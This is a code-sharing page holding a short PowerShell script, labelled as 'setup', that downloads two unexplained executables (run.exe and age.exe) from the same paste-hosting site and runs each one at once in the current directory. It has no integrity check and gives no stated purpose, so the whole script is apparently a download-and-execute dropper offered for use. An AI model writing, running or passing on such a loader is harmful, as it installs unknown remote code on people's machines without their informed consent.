Dashboard Temp Share Shortlinks Frames API

HTMLify

Dist in PWD
Views: 22 | Author: dddd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Write-Host "Starting setup..."

# ==== FILE URLS ====
$files = @(
    "https://htmlify.me/dddd/run.exe",
    "https://htmlify.me/dddd/age.exe"
)

# ==== CURRENT DIRECTORY ====
$folderPath = $PWD.Path

foreach ($url in $files) {
    # Get file name from URL
    $fileName = Split-Path $url -Leaf
    $filePath = Join-Path $folderPath $fileName

    Write-Host "Downloading $fileName..."

    try {
        # Download file
        Invoke-WebRequest $url -OutFile $filePath -ErrorAction Stop

        Write-Host "Executing $fileName..."

        # Run the file
        Start-Process $filePath

        Write-Host "$fileName executed successfully."
    }
    catch {
        Write-Host "Failed to process $fileName"
        Write-Host $_
    }
}

Write-Host "All tasks completed."